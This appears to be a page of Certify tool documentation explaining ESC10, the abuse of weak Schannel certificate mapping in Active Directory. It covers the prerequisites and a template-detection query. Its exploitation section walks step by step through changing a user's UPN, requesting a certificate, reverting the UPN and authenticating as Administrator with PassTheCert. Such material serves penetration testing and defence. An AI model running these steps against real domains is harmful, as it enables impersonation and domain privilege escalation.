> ## Documentation Index
> Fetch the complete documentation index at: https://docs.specterops.io/llms.txt
> Use this file to discover all available pages before exploring further.

# ESC10 - Schannel Weak Certificate Mapping

> Exploit downgraded Schannel certificate mapping to impersonate users through weak UPN-based certificate authentication

ESC10 is a misconfiguration in Windows Secure Channel (Schannel), which stems from insecure management of new security features. Specifically, if the certificate mapping configuration of Schannel is reduced below the standard of *Strong Certificate Mapping*, an attacker can potentially abuse the weak certificate mapping to impersonate arbitrary users in the environment.

<Info>
  The misconfiguration was initially disclosed by [Oliver Lyak](https://x.com/ly4k_) in [this blogpost](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7).
</Info>

## Vulnerability Criteria

The following criteria comprise an ESC10 vulnerability:

<Accordion title="ESC10 Prerequisites">
  * The Schannel certificate mapping has been downgraded to allow `userPrincipalName` (UPN) mapping.
  * We have `GenericWrite` rights on a user or computer object in the environment.

  Additionally, we require a certificate template with the following criteria:

  * The enterprise CA grants enrollment rights to the attacker-controlled user.
  * The certificate template grants enrollment rights to the attacker-controlled user.
  * The "manager approval" feature is disabled for the certificate template.
  * The "authorized signature" feature is disabled for the certificate template.
  * The certificate template defines an Extended Key Usage (EKU) that enables Schannel client authentication:
    * `Client Authentication` (`1.3.6.1.5.5.7.3.2`)
    * `Any Purpose` (`2.5.29.37.0`)
    * `Subordinate CA` (No EKUs)
  * The certificate template must define a UPN-mappable or DNS-mappable flag in its `Certificate Name Flag` attribute:
    * `SUBJECT_ALT_REQUIRE_UPN`
    * `SUBJECT_ALT_REQUIRE_SPN` - This flag relies on the `userPrincipalName` attribute, despite the name hinting at SPN.
    * `SUBJECT_ALT_REQUIRE_DNS` - This does not work if the target is a user (as they do not have the `dNSHostName` attribute)
</Accordion>

## Attack Process

The attack scenario consists of the following steps:

<Accordion title="ESC10 Attack Steps">
  1. **Temporarily modify a mapping attribute** of the principal to match that of the target principal that we want to impersonate.
     * If the template has the `SUBJECT_ALT_REQUIRE_UPN` flag or the `SUBJECT_ALT_REQUIRE_SPN` flag, the `userPrincipalName` attribute of the attacker-controlled principal must match the `userPrincipalName` or `sAMAccountName` attribute of the target principal.
     * If the template has the `SUBJECT_ALT_REQUIRE_DNS` flag, the `dNSHostName` attribute of the attacker-controlled principal must match the `dNSHostName` attribute of the target principal.

  2. **Request a certificate** from the vulnerable template. The issued certificate will contain a Subject Alternative Name (SAN) based on the mapping attribute of our requesting user (which is identical to that of our target principal).

  3. **Revert the temporary mapping attribute modification.** The target principal is now the only user in the domain with an attribute that matches the one in our issued certificate.

  4. **Authenticate over Schannel** as the impersonated user. This is possible because Schannel ignores the SID security extension in the certificate and the mapping attribute of the certificate matches only our target principal (after we reverted our own changes).
</Accordion>

## Detection

We can search for certificate templates with these conditions using the `enum-templates --filter-client-auth` command from Certify. For more information about the command and its parameters, please refer to the [Command Overview](./1-command-overview) page.

<CodeGroup>
  ```bash Command theme={null}
  Certify.exe enum-templates --filter-enabled --filter-client-auth --hide-admins
  ```

  ```diff Output theme={null}
     _____          _   _  __
    / ____|        | | (_)/ _|
   | |     ___ _ __| |_ _| |_ _   _
   | |    / _ \ '__| __| |  _| | | |
   | |___|  __/ |  | |_| | | | |_| |
    \_____\___|_|   \__|_|_|  \__, |
                               __/ |
                              |___./
    v2.0.0

  [*] Action: Find certificate templates
  [*] Using the search base 'CN=Configuration,DC=corp,DC=local'
  [*] Classifying vulnerabilities in the context of built-in low-privileged domain groups.

  [*] Listing info about the enterprise certificate authority 'CORP-CA01-CA'

      ...

  [*] Certificate templates found using the current filter parameters:

      Template Name                         : User
      Enabled                               : True
      Publishing CAs                        : ca01.corp.local\CORP-CA01-CA
      Schema Version                        : 2
      Validity Period                       : 1 year
      Renewal Period                        : 6 weeks
  +   Certificate Name Flag                 : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH
      Enrollment Flag                       : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
  +   Manager Approval Required             : False
  +   Authorized Signatures Required        : 0
  +   Extended Key Usage                    : Client Authentication, Encrypting File System, Secure Email
      Certificate Application Policies      : Client Authentication, Encrypting File System, Secure Email
      Permissions
        Enrollment Permissions
  +       All Extended Rights         : CORP\Domain Users               S-1-5-21-976219687-1556195986-4104514715-513
        Object Control Permissions

  Certify completed in 00:00:00.9512699
  ```
</CodeGroup>

## Exploitation Example

Once we have identified a certificate template that our attacker-controlled user can enroll in, we can perform the weak certificate mapping attack. Since the certificate template contains the `SUBJECT_ALT_REQUIRE_UPN` flag, we must modify the `userPrincipalName` of our attacker-controlled user to match a target principal that we want to impersonate.

<Warning>
  Please note that Schannel requires the full `userPrincipalName` format (e.g. `Administrator@corp.local`).
</Warning>

<CodeGroup>
  ```powershell Step 1: Modify UPN theme={null}
  Set-ADUser -Identity impersonator -UserPrincipalName 'Administrator@corp.local'
  Get-ADUser -Identity impersonator
  ```

  ```bash Output theme={null}
  DistinguishedName : CN=impersonator,OU=Users,OU=Corp,DC=corp,DC=local
  Enabled           : True
  GivenName         : impersonator
  Name              : impersonator
  ObjectClass       : user
  ObjectGUID        : 66e9a70c-6603-4199-967d-58be81907c02
  SamAccountName    : impersonator
  SID               : S-1-5-21-976219687-1556195986-4104514715-1101
  Surname           :
  UserPrincipalName : Administrator@corp.local
  ```
</CodeGroup>

We can then request a certificate based on the identified template as the attacker-controlled user and obtain a certificate with a Subject Alternative Name (SAN) that contains the mapping attribute that will link to the target principal (e.g. `Administrator`). This can be done using the `request` command from Certify.

<CodeGroup>
  ```bash Step 2: Request Certificate theme={null}
  Certify.exe request --ca ca01.corp.local\CORP-CA01-CA --template User
  ```

  ```bash Output theme={null}
     _____          _   _  __
    / ____|        | | (_)/ _|
   | |     ___ _ __| |_ _| |_ _   _
   | |    / _ \ '__| __| |  _| | | |
   | |___|  __/ |  | |_| | | | |_| |
    \_____\___|_|   \__|_|_|  \__, |
                               __/ |
                              |___./
    v2.0.0

  [*] Action: Request a certificate

  [*] Current user context    : CORP\impersonator
  [*] No subject name specified, using current context as subject.

  [*] Template                : User
  [*] Subject                 : CN=impersonator, OU=Users, OU=Corp, DC=corp, DC=local

  [*] Certificate Authority   : ca01.corp.local\CORP-CA01-CA
  [*] CA Response             : The certificate has been issued.
  [*] Request ID              : 1

  [*] Certificate (PFX)       :

  MIACAQMwgAYJKoZIhvcNAQcBoIAkgASCA+gwgDCABgkqh...

  Certify completed in 00:00:03.8732299
  ```
</CodeGroup>

Once we have obtained the certificate, we can revert our mapping attribute modifications.

<CodeGroup>
  ```powershell Step 3: Revert UPN theme={null}
  Set-ADUser -Identity impersonator -Clear UserPrincipalName
  Get-ADUser -Identity impersonator
  ```

  ```bash Output theme={null}
  DistinguishedName : CN=impersonator,OU=Users,OU=Corp,DC=corp,DC=local
  Enabled           : True
  GivenName         : impersonator
  Name              : impersonator
  ObjectClass       : user
  ObjectGUID        : 66e9a70c-6603-4199-967d-58be81907c02
  SamAccountName    : impersonator
  SID               : S-1-5-21-976219687-1556195986-4104514715-1101
  Surname           :
  UserPrincipalName :
  ```
</CodeGroup>

Now that only the target principal has a mapping attribute that matches the one in the issued certificate, we can authenticate as the target principal by presenting the issued certificate. Since we rely on the weakened mapping settings for Schannel, we will authenticate to LDAPS using [PassTheCert](https://github.com/AlmondOffSec/PassTheCert/).

First, we write the issued certificate to a file (`cert.pfx`).

<CodeGroup>
  ```powershell Step 4: Save Certificate theme={null}
  [IO.File]::WriteAllBytes("cert.pfx", [Convert]::FromBase64String("MIACAQMwgAYJKoZIhvcNAQcBoIAkgASCA+gwgDCABgkqh..."))
  ```
</CodeGroup>

Then, we can authenticate over LDAP Schannel with `PassTheCert` and confirm that we have successfully elevated our privileges by impersonating the `Administrator` user.

<CodeGroup>
  ```bash Step 5: Authenticate via Schannel theme={null}
  PassTheCert.exe --server dc01.corp.local --cert-path cert.pfx --whoami
  ```

  ```bash Output theme={null}
  Querying LDAP As : u:CORP\Administrator
  ```
</CodeGroup>
